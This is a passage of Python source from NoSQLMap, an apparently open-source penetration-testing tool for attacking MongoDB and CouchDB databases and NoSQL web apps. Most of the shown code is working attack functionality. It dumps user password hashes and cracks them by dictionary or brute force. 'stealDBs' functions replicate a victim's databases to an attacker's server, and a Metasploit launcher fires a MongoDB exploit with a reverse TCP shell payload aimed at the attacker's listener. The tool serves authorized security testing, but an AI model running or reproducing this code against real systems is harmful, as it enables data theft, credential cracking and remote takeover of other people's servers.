168 | def enumDbs (couchConn,target,port):
169 | dbList = []
170 | userNames = []
171 | userHashes = []
172 | userSalts = []
173 | try:
174 | for db in couchConn:
175 | dbList.append(db)
176 |
177 |
178 | print "List of databases:"
179 | print "\n".join(dbList)
180 | print "\n"
181 |
182 | except:
183 | print "Error: Couldn't list databases. The provided credentials may not have rights."
184 |
185 | if '_users' in dbList:
186 | r = requests.get("http://" + target + ":" + str(port) + "/_users/_all_docs?startkey=\"org.couchdb.user\"&include_docs=true")
187 | userDict = r.json()
188 |
189 | for counter in range (0,int(userDict["total_rows"])-int(userDict["offset"])):
190 | if float(couchConn.version()[0:3]) < 1.3:
191 | userNames.append(userDict["rows"][counter]["id"].split(":")[1])
192 | userHashes.append(userDict["rows"][counter]["doc"]["password_sha"])
193 | userSalts.append(userDict["rows"][counter]["doc"]["salt"])
194 |
195 | else:
196 | userNames.append(userDict["rows"][counter]["id"].split(":")[1])
197 | userHashes.append(userDict["rows"][counter]["doc"]["derived_key"])
198 | userSalts.append(userDict["rows"][counter]["doc"]["salt"])
199 |
200 | print "Database Users and Password Hashes:"
201 |
202 | for x in range(0,len(userNames)):
203 | print "Username: " + userNames[x]
204 | print "Hash: " + userHashes[x]
205 | print "Salt: "+ userSalts[x]
206 | print "\n"
207 |
208 | crack = raw_input("Crack this hash (y/n)? ")
209 |
210 | if crack in yes_tag:
211 | passCrack(userNames[x],userHashes[x],userSalts[x],couchConn.version())
212 |
213 |
214 | return
215 |
216 |
217 | def stealDBs (myDB,couchConn,target,port):
218 | dbLoot = True
219 | menuItem = 1
220 | dbList = []
221 |
222 | for db in couchConn:
223 | dbList.append(db)
224 |
225 | if len(dbList) == 0:
226 | print "Can't get a list of databases to steal. The provided credentials may not have rights."
227 | return
228 |
229 | for dbName in dbList:
230 | print str(menuItem) + "-" + dbName
231 | menuItem += 1
232 |
233 | while dbLoot:
234 | dbLoot = raw_input("Select a database to steal:")
235 |
236 | if int(dbLoot) > menuItem:
237 | print "Invalid selection."
238 |
239 | else:
240 | break
241 |
242 | try:
243 | # Create the DB target first
244 | myServer = couchdb.Server("http://" + myDB + ":5984")
245 | targetDB = myServer.create(dbList[int(dbLoot)-1] + "_stolen")
246 | couchConn.replicate(dbList[int(dbLoot)-1],"http://" + myDB + ":5984/" + dbList[int(dbLoot)-1] + "_stolen")
247 |
248 | cloneAnother = raw_input("Database cloned. Copy another (y/n)? ")
249 |
250 | if cloneAnother in yes_tag:
251 | stealDBs(myDB,couchConn,target,port)
252 |
253 | else:
254 | return
255 |
256 | except:
257 | raw_input ("Something went wrong. Are you sure your CouchDB is running and options are set? Press enter to return...")
258 | return
259 |
260 |
261 | def passCrack (user, encPass, salt, dbVer):
262 | select = True
263 | print "Select password cracking method: "
264 | print "1-Dictionary Attack"
265 | print "2-Brute Force"
266 | print "3-Exit"
267 |
268 | while select:
269 | select = raw_input("Selection: ")
270 |
271 | if select == "1":
272 | select = False
273 | dict_pass(encPass,salt,dbVer)
274 |
275 | elif select == "2":
276 | select = False
277 | brute_pass(encPass,salt,dbVer)
278 |
279 | elif select == "3":
280 | return
281 | return
282 |
283 |
284 | def genBrute(chars, maxLen):
285 | return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1)))
286 |
287 |
288 | def brute_pass(hashVal,salt,dbVer):
289 | charSel = True
290 | print "\n"
291 | maxLen = raw_input("Enter the maximum password length to attempt: ")
292 | print "1-Lower case letters"
293 | print "2-Upper case letters"
294 | print "3-Upper + lower case letters"
295 | print "4-Numbers only"
296 | print "5-Alphanumeric (upper and lower case)"
297 | print "6-Alphanumeric + special characters"
298 | charSel = raw_input("\nSelect character set to use:")
299 |
300 | if charSel == "1":
301 | chainSet = string.ascii_lowercase
302 |
303 | elif charSel == "2":
304 | chainSet= string.ascii_uppercase
305 |
306 | elif charSel == "3":
307 | chainSet = string.ascii_letters
308 |
309 | elif charSel == "4":
310 | chainSet = string.digits
311 |
312 | elif charSel == "5":
313 | chainSet = string.ascii_letters + string.digits
314 |
315 | elif charSel == "6":
316 | chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/"
317 |
318 | count = 0
319 | print "\n",
320 |
321 | for attempt in genBrute (chainSet,int(maxLen)):
322 | print "\rCombinations tested: " + str(count) + "\r"
323 | count += 1
324 |
325 | # CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
326 | if float(dbVer[0:3]) < 1.3:
327 | gotIt = gen_pass_couch(attempt,salt,hashVal)
328 | else:
329 | gotIt = gen_pass_couch13(attempt, salt, 10, hashVal)
330 |
331 | if gotIt == True:
332 | break
333 |
334 |
335 | def dict_pass(key,salt,dbVer):
336 | loadCheck = False
337 |
338 | while loadCheck == False:
339 | dictionary = raw_input("Enter path to password dictionary: ")
340 |
341 | try:
342 | with open (dictionary) as f:
343 | passList = f.readlines()
344 | loadCheck = True
345 |
346 | except:
347 | print " Couldn't load file."
348 |
349 | print "Running dictionary attack..."
350 |
351 | for passGuess in passList:
352 | temp = passGuess.split("\n")[0]
353 |
354 | # CouchDB hashing method changed starting with v1.3. Decide based on DB version which hash method to use.
355 | if float(dbVer[0:3]) < 1.3:
356 | gotIt = gen_pass_couch(temp,salt,key)
357 | else:
358 | gotIt = gen_pass_couch13(temp, salt, 10, key)
359 |
360 | if gotIt == True:
361 | break
362 |
363 | return
364 |
365 |
366 | def gen_pass_couch(passw, salt, hashVal):
367 | if sha1(passw+salt).hexdigest() == hashVal:
368 | print "Password Cracked - "+passw
369 | return True
370 |
371 | else:
372 | return False
373 |
374 |
375 | def gen_pass_couch13(passw, salt, iterations, hashVal):
376 | result=PBKDF2(passw,salt,iterations).read(20)
377 | expected=a2b_hex(hashVal)
378 | if result==expected:
379 | print "Password Cracked- "+passw
380 | return True
381 | else:
382 | return False
383 |
--------------------------------------------------------------------------------
/nsmmongo.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 | # NoSQLMap Copyright 2012-2017 NoSQLMap Development team
3 | # See the file 'doc/COPYING' for copying permission
4 |
5 | import pymongo
6 | import urllib
7 | import json
8 | import gridfs
9 | import itertools
10 | import string
11 | import subprocess
12 | from hashlib import md5
13 | import os
14 |
15 |
16 | global yes_tag
17 | global no_tag
18 | yes_tag = ['y', 'Y']
19 | no_tag = ['n', 'N']
20 |
21 | def args():
22 | return []
23 |
24 | def netAttacks(target, dbPort, myIP, myPort, args = None):
25 | print "DB Access attacks (MongoDB)"
26 | print "================="
27 | mgtOpen = False
28 | webOpen = False
29 | mgtSelect = True
30 | # This is a global for future use with other modules; may change
31 | global dbList
32 | dbList = []
33 |
34 | print "Checking to see if credentials are needed..."
35 | needCreds = mongoScan(target,dbPort,False)
36 |
37 | if needCreds[0] == 0:
38 | conn = pymongo.MongoClient(target,dbPort)
39 | print "Successful access with no credentials!"
40 | mgtOpen = True
41 |
42 | elif needCreds[0] == 1:
43 | print "Login required!"
44 | srvUser = raw_input("Enter server username: ")
45 | srvPass = raw_input("Enter server password: ")
46 | uri = "mongodb://" + srvUser + ":" + srvPass + "@" + target +"/"
47 |
48 | try:
49 | conn = pymongo.MongoClient(target)
50 | print "MongoDB authenticated on " + target + ":27017!"
51 | mgtOpen = True
52 | except:
53 | raw_input("Failed to authenticate. Press enter to continue...")
54 | return
55 |
56 | elif needCreds[0] == 2:
57 | conn = pymongo.MongoClient(target,dbPort)
58 | print "Access check failure. Testing will continue but will be unreliable."
59 | mgtOpen = True
60 |
61 | elif needCreds[0] == 3:
62 | print "Couldn't connect to Mongo server."
63 | return
64 |
65 |
66 | mgtUrl = "http://" + target + ":28017"
67 | # Future rev: Add web management interface parsing
68 |
69 | try:
70 | mgtRespCode = urllib.urlopen(mgtUrl).getcode()
71 | if mgtRespCode == 200:
72 | print "MongoDB web management open at " + mgtUrl + ". No authentication required!"
73 | testRest = raw_input("Start tests for REST Interface (y/n)? ")
74 |
75 | if testRest in yes_tag:
76 | restUrl = mgtUrl + "/listDatabases?text=1"
77 | restResp = urllib.urlopen(restUrl).read()
78 | restOn = restResp.find('REST is not enabled.')
79 |
80 | if restOn == -1:
81 | print "REST interface enabled!"
82 | dbs = json.loads(restResp)
83 | menuItem = 1
84 | print "List of databases from REST API:"
85 |
86 | for x in range(0,len(dbs['databases'])):
87 | dbTemp= dbs['databases'][x]['name']
88 | print str(menuItem) + "-" + dbTemp
89 | menuItem += 1
90 | else:
91 | print "REST interface not enabled."
92 | print "\n"
93 |
94 | except Exception, e:
95 | print "MongoDB web management closed or requires authentication."
96 |
97 | if mgtOpen == True:
98 |
99 | while mgtSelect:
100 | print "\n"
101 | print "1-Get Server Version and Platform"
102 | print "2-Enumerate Databases/Collections/Users"
103 | print "3-Check for GridFS"
104 | print "4-Clone a Database"
105 | print "5-Launch Metasploit Exploit for Mongo < 2.2.4"
106 | print "6-Return to Main Menu"
107 | attack = raw_input("Select an attack: ")
108 |
109 | if attack == "1":
110 | print "\n"
111 | getPlatInfo(conn)
112 |
113 | if attack == "2":
114 | print "\n"
115 | enumDbs(conn)
116 |
117 | if attack == "3":
118 | print "\n"
119 | enumGrid(conn)
120 |
121 | if attack == "4":
122 | if myIP == "Not Set":
123 | print "Target database not set!"
124 | else:
125 | print "\n"
126 | stealDBs(myIP,target,conn)
127 |
128 | if attack == "5":
129 | print "\n"
130 | msfLaunch()
131 |
132 | if attack == "6":
133 | return
134 |
135 |
136 | def stealDBs(myDB,victim,mongoConn):
137 | dbList = mongoConn.database_names()
138 | dbLoot = True
139 | menuItem = 1
140 |
141 | if len(dbList) == 0:
142 | print "Can't get a list of databases to steal. The provided credentials may not have rights."
143 | return
144 |
145 | for dbName in dbList:
146 | print str(menuItem) + "-" + dbName
147 | menuItem += 1
148 |
149 | while dbLoot:
150 | dbLoot = raw_input("Select a database to steal: ")
151 |
152 | if int(dbLoot) >= menuItem:
153 | print "Invalid selection."
154 |
155 | else:
156 | break
157 |
158 | try:
159 | # Mongo can only pull, not push, connect to my instance and pull from verified open remote instance.
160 | dbNeedCreds = raw_input("Does this database require credentials (y/n)? ")
161 | myDBConn = pymongo.MongoClient(myDB, 27017)
162 | if dbNeedCreds in no_tag:
163 |
164 | myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim)
165 |
166 | elif dbNeedCreds in yes_tag:
167 | dbUser = raw_input("Enter database username: ")
168 | dbPass = raw_input("Enter database password: ")
169 | myDBConn.copy_database(dbList[int(dbLoot)-1],dbList[int(dbLoot)-1] + "_stolen",victim,dbUser,dbPass)
170 |
171 | else:
172 | raw_input("Invalid Selection. Press enter to continue.")
173 | stealDBs(myDB,victim,mongoConn)
174 |
175 | cloneAnother = raw_input("Database cloned. Copy another (y/n)? ")
176 |
177 | if cloneAnother in yes_tag:
178 | stealDBs(myDB,victim,mongoConn)
179 |
180 | else:
181 | return
182 |
183 | except Exception, e:
184 | if str(e).find('text search not enabled') != -1:
185 | raw_input("Database copied, but text indexing was not enabled on the target. Indexes not moved. Press enter to return...")
186 | return
187 | elif str(e).find('Network is unreachable') != -1:
188 | raw_input("Are you sure your network is unreachable? Press enter to return..")
189 | else:
190 | raw_input ("Something went wrong. Are you sure your MongoDB is running and options are set? Press enter to return...")
191 | return
192 |
193 |
194 | def passCrack (user, encPass):
195 | select = True
196 | print "Select password cracking method: "
197 | print "1-Dictionary Attack"
198 | print "2-Brute Force"
199 | print "3-Exit"
200 |
201 |
202 | while select:
203 | select = raw_input("Selection: ")
204 | if select == "1":
205 | select = False
206 | dict_pass(user,encPass)
207 |
208 | elif select == "2":
209 | select = False
210 | brute_pass(user,encPass)
211 |
212 | elif select == "3":
213 | return
214 | return
215 |
216 |
217 | def gen_pass(user, passw, hashVal):
218 | if md5(user + ":mongo:" + str(passw)).hexdigest() == hashVal:
219 | print "Found - " + user + ":" + passw
220 | return True
221 | else:
222 | return False
223 |
224 |
225 | def dict_pass(user,key):
226 | loadCheck = False
227 |
228 | while loadCheck == False:
229 | dictionary = raw_input("Enter path to password dictionary: ")
230 | try:
231 | with open (dictionary) as f:
232 | passList = f.readlines()
233 | loadCheck = True
234 | except:
235 | print " Couldn't load file."
236 |
237 | print "Running dictionary attack..."
238 | for passGuess in passList:
239 | temp = passGuess.split("\n")[0]
240 | gotIt = gen_pass (user, temp, key)
241 |
242 | if gotIt == True:
243 | break
244 | return
245 |
246 |
247 | def genBrute(chars, maxLen):
248 | return (''.join(candidate) for candidate in itertools.chain.from_iterable(itertools.product(chars, repeat=i) for i in range(1, maxLen + 1)))
249 |
250 |
251 | def brute_pass(user,key):
252 | charSel = True
253 | print "\n"
254 | maxLen = raw_input("Enter the maximum password length to attempt: ")
255 | print "1-Lower case letters"
256 | print "2-Upper case letters"
257 | print "3-Upper + lower case letters"
258 | print "4-Numbers only"
259 | print "5-Alphanumeric (upper and lower case)"
260 | print "6-Alphanumeric + special characters"
261 | charSel = raw_input("\nSelect character set to use:")
262 |
263 | if charSel == "1":
264 | chainSet = string.ascii_lowercase
265 |
266 | elif charSel == "2":
267 | chainSet= string.ascii_uppercase
268 |
269 | elif charSel == "3":
270 | chainSet = string.ascii_letters
271 |
272 | elif charSel == "4":
273 | chainSet = string.digits
274 |
275 | elif charSel == "5":
276 | chainSet = string.ascii_letters + string.digits
277 |
278 | elif charSel == "6":
279 | chainSet = string.ascii_letters + string.digits + "!@#$%^&*()-_+={}[]|~`':;<>,.?/"
280 | count = 0
281 | print "\n",
282 | for attempt in genBrute (chainSet,int(maxLen)):
283 | print "\rCombinations tested: " + str(count) + "\r"
284 | count += 1
285 | if md5(user + ":mongo:" + str(attempt)).hexdigest() == key:
286 | print "\nFound - " + user + ":" + attempt
287 | break
288 | return
289 |
290 |
291 | def getPlatInfo (mongoConn):
292 | print "Server Info:"
293 | print "MongoDB Version: " + mongoConn.server_info()['version']
294 | print "Debugs enabled : " + str(mongoConn.server_info()['debug'])
295 | print "Platform: " + str(mongoConn.server_info()['bits']) + " bit"
296 | print "\n"
297 | return
298 |
299 |
300 | def enumDbs (mongoConn):
301 | try:
302 | print "List of databases:"
303 | print "\n".join(mongoConn.database_names())
304 | print "\n"
305 |
306 | except:
307 | print "Error: Couldn't list databases. The provided credentials may not have rights."
308 |
309 | print "List of collections:"
310 |
311 | try:
312 | for dbItem in mongoConn.database_names():
313 | db = mongoConn[dbItem]
314 | print dbItem + ":"
315 | print "\n".join(db.collection_names())
316 | print "\n"
317 |
318 | if 'system.users' in db.collection_names():
319 | users = list(db.system.users.find())
320 | print "Database Users and Password Hashes:"
321 |
322 | for x in range (0,len(users)):
323 | print "Username: " + users[x]['user']
324 | print "Hash: " + users[x]['pwd']
325 | print "\n"
326 | crack = raw_input("Crack this hash (y/n)? ")
327 |
328 | if crack in yes_tag:
329 | passCrack(users[x]['user'],users[x]['pwd'])
330 |
331 | except Exception, e:
332 | print e
333 | print "Error: Couldn't list collections. The provided credentials may not have rights."
334 |
335 | print "\n"
336 | return
337 |
338 |
339 | def msfLaunch():
340 | try:
341 | proc = subprocess.call(["msfcli", "exploit/linux/misc/mongod_native_helper", "RHOST=%s" % victim, "DB=local", "PAYLOAD=linux/x86/shell/reverse_tcp", "LHOST=%s" % myIP, "LPORT=%s" % myPort, "E"])
342 |
343 | except:
344 | print "Something went wrong. Make sure Metasploit is installed and path is set, and all options are defined."
345 | raw_input("Press enter to continue...")
346 | return
347 |
348 |
349 | def enumGrid (mongoConn):
350 | try:
351 | for dbItem in mongoConn.database_names():
352 | try:
353 | db = mongoConn[dbItem]
354 | fs = gridfs.GridFS(db)
355 | files = fs.list()
356 | print "GridFS enabled on database " + str(dbItem)
357 | print " list of files:"
358 | print "\n".join(files)
359 |
360 | except:
361 | print "GridFS not enabled on " + str(dbItem) + "."
362 |
363 | except:
364 | print "Error: Couldn't enumerate GridFS. The provided credentials may not have rights."
365 |
366 | return
367 |
368 |
369 | def mongoScan(ip,port,pingIt):
370 |
371 | if pingIt == True:
372 | test = os.system("ping -c 1 -n -W 1 " + ip + ">/dev/null")
373 |
374 | if test == 0:
375 | try:
376 | conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000)
377 |
378 | try:
379 | dbList = conn.database_names()
380 | dbVer = conn.server_info()['version']
381 | conn.close()
382 | return [0,dbVer]
383 |
384 | except:
385 | if str(sys.exc_info()).find('need to login') != -1:
386 | conn.close()
387 | return [1,None]
388 |
389 | else:
390 | conn.close()
391 | return [2,None]
392 |
393 | except:
394 | return [3,None]
395 |
396 | else:
397 | return [4,None]
398 | else:
399 | try:
400 | conn = pymongo.MongoClient(ip,port,connectTimeoutMS=4000,socketTimeoutMS=4000)
401 |
402 | try:
403 | dbList = conn.database_names()
404 | dbVer = conn.server_info()['version']
405 | conn.close()
406 | return [0,dbVer]
407 |
408 | except Exception, e:
409 | if str(e).find('need to login') != -1:
410 | conn.close()
411 | return [1,None]
412 |
413 | else:
414 | conn.close()
415 | return [2,None]
416 |
417 | except:
418 | return [3,None]
419 |
--------------------------------------------------------------------------------
/nosqlmap.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | #!/usr/bin/python
3 | # NoSQLMap Copyright 2012-2017 NoSQLMap Development team
4 | # See the file 'doc/COPYING' for copying permission
5 |
6 | import sys
7 | import nsmcouch
8 | import nsmmongo
9 | import nsmscan
10 | import nsmweb
11 | import os
12 | import signal
13 | import ast
14 |
15 | import argparse
16 |
17 |
18 | def main(args):
19 | signal.signal(signal.SIGINT, signal_handler)
20 | global optionSet
21 | # Set a list so we can track whether options are set or not to avoid resetting them in subsequent calls to the options menu.
22 | optionSet = [False]*9
23 | global yes_tag
24 | global no_tag
25 | yes_tag = ['y', 'Y']
26 | no_tag = ['n', 'N']
27 | global victim
28 | global webPort
29 | global uri
30 | global httpMethod
31 | global platform
32 | global https
33 | global myIP
34 | global myPort
35 | global verb
36 | global scanNeedCreds
37 | global dbPort
38 | # Use MongoDB as the default, since it's the least secure ( :-p at you 10Gen )
39 | platform = "MongoDB"
40 | dbPort = 27017
41 | myIP = "Not Set"
42 | myPort = "Not Set"
43 | if args.attack:
44 | attack(args)
45 | else:
46 | mainMenu()
47 |
48 | def mainMenu():
49 | global platform
50 | global victim
51 | global dbPort
52 | global myIP
53 | global webPort
54 | global uri
55 | global httpMethod
56 | global https
57 | global verb
58 | global requestHeaders
59 | global postData
60 |
61 | mmSelect = True
62 | while mmSelect:
63 | os.system('clear')
64 | print " _ _ ___ ___ _ __ __ "
65 | print "| \| |___/ __|/ _ \| | | \/ |__ _ _ __ "
66 | print "| .` / _ \__ \ (_) | |__| |\/| / _` | '_ \\"
67 | print("|_|\_\___/___/\__\_\____|_| |_\__,_| .__/")
68 | print(" v0.7 codingo@protonmail.com |_| ")
69 | print "\n"
70 | print "1-Set options"
71 | print "2-NoSQL DB Access Attacks"
72 | print "3-NoSQL Web App attacks"
73 | print "4-Scan for Anonymous " + platform + " Access"
74 | print "5-Change Platform (Current: " + platform + ")"
75 | print "x-Exit"
76 |
77 | select = raw_input("Select an option: ")
78 |
79 | if select == "1":
80 | options()
81 |
82 | elif select == "2":
83 | if optionSet[0] == True and optionSet[4] == True:
84 | if platform == "MongoDB":
85 | nsmmongo.netAttacks(victim, dbPort, myIP, myPort)
86 |
87 | elif platform == "CouchDB":
88 | nsmcouch.netAttacks(victim, dbPort, myIP)
89 |
90 | # Check minimum required options
91 | else:
92 | raw_input("Target not set! Check options. Press enter to continue...")
93 |
94 |
95 | elif select == "3":
96 | # Check minimum required options
97 | if (optionSet[0] == True) and (optionSet[2] == True):
98 | if httpMethod == "GET":
99 | nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders)
100 |
101 | elif httpMethod == "POST":
102 | nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders)
103 |
104 | else:
105 | raw_input("Options not set! Check host and URI path. Press enter to continue...")
106 |
107 |
108 | elif select == "4":
109 | scanResult = nsmscan.massScan(platform)
110 |
111 | if scanResult != None:
112 | optionSet[0] = True
113 | victim = scanResult[1]
114 |
115 | elif select == "5":
116 | platSel()
117 |
118 | elif select == "x":
119 | sys.exit()
120 |
121 | else:
122 | raw_input("Invalid selection. Press enter to continue.")
123 |
124 | def build_request_headers(reqHeadersIn):
125 | requestHeaders = {}
126 | reqHeadersArray = reqHeadersIn.split(",")
127 | headerNames = reqHeadersArray[0::2]
128 | headerValues = reqHeadersArray[1::2]
129 | requestHeaders = dict(zip(headerNames, headerValues))
130 | return requestHeaders
131 |
132 | def build_post_data(postDataIn):
133 | pdArray = postDataIn.split(",")
134 | paramNames = pdArray[0::2]
135 | paramValues = pdArray[1::2]
136 | postData = dict(zip(paramNames,paramValues))
137 | return postData
138 |
139 | def attack(args):
140 | platform = args.platform
141 | victim = args.victim
142 | webPort = args.webPort
143 | dbPort = args.dbPort
144 | myIP = args.myIP
145 | myPort = args.myPort
146 | uri = args.uri
147 | https = args.https
148 | verb = args.verb
149 | httpMethod = args.httpMethod
150 | requestHeaders = build_request_headers(args.requestHeaders)
151 | postData = build_post_data(args.postData)
152 |
153 | if args.attack == 1:
154 | if platform == "MongoDB":
155 | nsmmongo.netAttacks(victim, dbPort, myIP, myPort, args)
156 | elif platform == "CouchDB":
157 | nsmcouch.netAttacks(victim, dbPort, myIP, args)
158 | elif args.attack == 2:
159 | if httpMethod == "GET":
160 | nsmweb.getApps(webPort,victim,uri,https,verb,requestHeaders, args)
161 | elif httpMethod == "POST":
162 | nsmweb.postApps(victim,webPort,uri,https,verb,postData,requestHeaders, args)
163 | elif args.attack == 3:
164 | scanResult = nsmscan.massScan(platform)
165 | if scanResult != None:
166 | optionSet[0] = True
167 | victim = scanResult[1]
168 |
169 | def platSel():
170 | global platform
171 | global dbPort
172 | select = True
173 | print "\n"
174 |
175 | while select:
176 | print "1-MongoDB"
177 | print "2-CouchDB"
178 | pSel = raw_input("Select a platform: ")
179 |
180 | if pSel == "1":
181 | platform = "MongoDB"
182 | dbPort = 27017
183 | return
184 |
185 | elif pSel == "2":
186 | platform = "CouchDB"
187 | dbPort = 5984
188 | return
189 | else:
190 | raw_input("Invalid selection. Press enter to continue.")
191 |
192 |
193 | def options():
194 | global victim
195 | global webPort
196 | global uri
197 | global https
198 | global platform
199 | global httpMethod
200 | global postData
201 | global myIP
202 | global myPort
203 | global verb
204 | global mmSelect
205 | global dbPort
206 | global requestHeaders
207 | requestHeaders = {}
208 | optSelect = True
209 |
210 | # Set default value if needed
211 | if optionSet[0] == False:
212 | global victim
213 | victim = "Not Set"
214 | if optionSet[1] == False:
215 | global webPort
216 | webPort = 80
217 | optionSet[1] = True
218 | if optionSet[2] == False:
219 | global uri
220 | uri = "Not Set"
221 | if optionSet[3] == False:
222 | global httpMethod
223 | httpMethod = "GET"
224 | if optionSet[4] == False:
225 | global myIP
226 | myIP = "Not Set"
227 | if optionSet[5] == False:
228 | global myPort
229 | myPort = "Not Set"
230 | if optionSet[6] == False:
231 | verb = "OFF"
232 | optSelect = True
233 | if optionSet[8] == False:
234 | https = "OFF"
235 | optSelect = True
236 |
237 | while optSelect:
238 | print "\n\n"
239 | print "Options"
240 | print "1-Set target host/IP (Current: " + str(victim) + ")"
241 | print "2-Set web app port (Current: " + str(webPort) + ")"
242 | print "3-Set App Path (Current: " + str(uri) + ")"
243 | print "4-Toggle HTTPS (Current: " + str(https) + ")"
244 | print "5-Set " + platform + " Port (Current : " + str(dbPort) + ")"
245 | print "6-Set HTTP Request Method (GET/POST) (Current: " + httpMethod + ")"
246 | print "7-Set my local " + platform + "/Shell IP (Current: " + str(myIP) + ")"
247 | print "8-Set shell listener port (Current: " + str(myPort) + ")"
248 | print "9-Toggle Verbose Mode: (Current: " + str(verb) + ")"
249 | print "0-Load options file"
250 | print "a-Load options from saved Burp request"
251 | print "b-Save options file"
252 | print "h-Set headers"
253 | print "x-Back to main menu"
254 |
255 | select = raw_input("Select an option: ")
256 |
257 | if select == "1":
258 | # Unset the boolean if it's set since we're setting it again.
259 | optionSet[0] = False
260 | ipLen = False
261 |
262 | while optionSet[0] == False:
263 | goodDigits = True
264 | notDNS = True
265 | victim = raw_input("Enter the host IP/DNS name: ")
266 | # make sure we got a valid IP
267 | octets = victim.split(".")
268 |
269 | if len(octets) != 4:
270 | # Treat this as a DNS name
271 | optionSet[0] = True
272 | notDNS = False
273 | else:
274 | # If len(octets) != 4 is executed the block of code below is also run, but it is not necessary
275 | # If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
276 | for item in octets:
277 | try:
278 | if int(item) < 0 or int(item) > 255:
279 | print "Bad octet in IP address."
280 | goodDigits = False
281 |
282 | except:
283 | #Must be a DNS name (for now)
284 |
285 | notDNS = False
286 |
287 | #If everything checks out set the IP and break the loop
288 | if goodDigits == True or notDNS == False:
289 | print "\nTarget set to " + victim + "\n"
290 | optionSet[0] = True
291 |
292 | elif select == "2":
293 | webPort = raw_input("Enter the HTTP port for web apps: ")
294 | print "\nHTTP port set to " + webPort + "\n"
295 | optionSet[1] = True
296 |
297 | elif select == "3":
298 | uri = raw_input("Enter URI Path (Press enter for no URI): ")
299 | #Ensuring the URI path always starts with / and causes less errors
300 | if uri[0] != "/":
301 | uri = "/" + uri
302 | print "\nURI Path set to " + uri + "\n"
303 | optionSet[2] = True
304 |
305 | elif select == "4":
306 | if https == "OFF":
307 | print "HTTPS enabled."
308 | https = "ON"
309 | optionSet[8] = True
310 |
311 | elif https == "ON":
312 | print "HTTPS disabled."
313 | https = "OFF"
314 | optionSet[8] = True
315 |
316 |
317 | elif select == "5":
318 | dbPort = int(raw_input("Enter target MongoDB port: "))
319 | print "\nTarget Mongo Port set to " + str(dbPort) + "\n"
320 | optionSet[7] = True
321 |
322 | elif select == "6":
323 | httpMethod = True
324 | while httpMethod == True:
325 |
326 | print "1-Send request as a GET"
327 | print "2-Send request as a POST"
328 | httpMethod = raw_input("Select an option: ")
329 |
330 | if httpMethod == "1":
331 | httpMethod = "GET"
332 | print "GET request set"
333 | requestHeaders = {}
334 | optionSet[3] = True
335 |
336 | elif httpMethod == "2":
337 | print "POST request set"
338 | optionSet[3] = True
339 | postDataIn = raw_input("Enter POST data in a comma separated list (i.e. param name 1,value1,param name 2,value2)\n")
340 | build_post_data(postDataIn)
341 | httpMethod = "POST"
342 |
343 | else:
344 | print "Invalid selection"
345 |
346 | elif select == "7":
347 | # Unset the setting boolean since we're setting it again.
348 | optionSet[4] = False
349 |
350 | while optionSet[4] == False:
351 | goodLen = False
352 | goodDigits = True
353 | # Every time when user input Invalid IP, goodLen and goodDigits should be reset. If this is not done, there will be a bug
354 | # For example enter 10.0.0.1234 first and the goodLen will be set to True and goodDigits will be set to False
355 | # Second step enter 10.0.123, because goodLen has already been set to True, this invalid IP will be put in myIP variables
356 | myIP = raw_input("Enter the host IP for my " + platform +"/Shells: ")
357 | # make sure we got a valid IP
358 | octets = myIP.split(".")
359 | # If there aren't 4 octets, toss an error.
360 | if len(octets) != 4:
361 | print "Invalid IP length."
362 |
363 | else:
364 | goodLen = True
365 |
366 | if goodLen == True:
367 | # If the format of the IP is good, check and make sure the octets are all within acceptable ranges.
368 | for item in octets:
369 | if int(item) < 0 or int(item) > 255:
370 | print "Bad octet in IP address."
371 | goodDigits = False
372 |
373 | # else:
374 | # goodDigits = True
375 |
376 | # Default value of goodDigits should be set to True
377 | # for example 12.12345.12.12
378 |
379 |
380 | # If everything checks out set the IP and break the loop
381 | if goodLen == True and goodDigits == True:
382 | print "\nShell/DB listener set to " + myIP + "\n"
383 | optionSet[4] = True
384 |
385 | elif select == "8":
386 | myPort = raw_input("Enter TCP listener for shells: ")
387 | print "Shell TCP listener set to " + myPort + "\n"
388 | optionSet[5] = True
389 |
390 | elif select == "9":
391 | if verb == "OFF":
392 | print "Verbose output enabled."
393 | verb = "ON"
394 | optionSet[6] = True
395 |
396 | elif verb == "ON":
397 | print "Verbose output disabled."
398 | verb = "OFF"
399 | optionSet[6] = True
400 |
401 | elif select == "0":
402 | loadPath = raw_input("Enter file name to load: ")
403 | cvsOpt = []
404 | try:
405 | with open(loadPath,"r") as fo:
406 | for line in fo:
407 | cvsOpt.append(line.rstrip())
408 | except IOError as e:
409 | print "I/O error({0}): {1}".format(e.errno, e.strerror)
410 | raw_input("error reading file. Press enter to continue...")
411 | return
412 |
413 | optList = csvOpt[0].split(",")
414 | victim = optList[0]
415 | webPort = optList[1]
416 | uri = optList[2]
417 | httpMethod = optList[3]
418 | myIP = optList[4]
419 | myPort = optList[5]
420 | verb = optList[6]
421 | https = optList[7]
422 |
423 | # saved headers position will depend of the request verb
424 | headersPos= 1
425 |
426 | if httpMethod == "POST":
427 | postData = ast.literal_eval(csvOpt[1])
428 | headersPos = 2
429 |
430 | requestHeaders = ast.literal_eval(csvOpt[headersPos])
431 |
432 | # Set option checking array based on what was loaded
433 | x = 0
434 | for item in optList:
435 | if item != "Not Set":
436 | optionSet[x] = True
437 | x += 1
438 |
439 | elif select == "a":
440 | loadPath = raw_input("Enter path to Burp request file: ")
441 | reqData = []
442 | try:
443 | with open(loadPath,"r") as fo:
444 | for line in fo:
445 | reqData.append(line.rstrip())
446 | except IOError as e:
447 | print "I/O error({0}): {1}".format(e.errno, e.strerror)
448 | raw_input("error reading file. Press enter to continue...")
449 | return
450 |
451 | methodPath = reqData[0].split(" ")
452 |
453 | if methodPath[0] == "GET":
454 | httpMethod = "GET"
455 |
456 | elif methodPath[0] == "POST":
457 | paramNames = []
458 | paramValues = []
459 | httpMethod = "POST"
460 | postData = reqData[len(reqData)-1]
461 | # split the POST parameters up into individual items
462 | paramsNvalues = postData.split("&")
463 |
464 | for item in paramsNvalues:
465 | tempList = item.split("=")
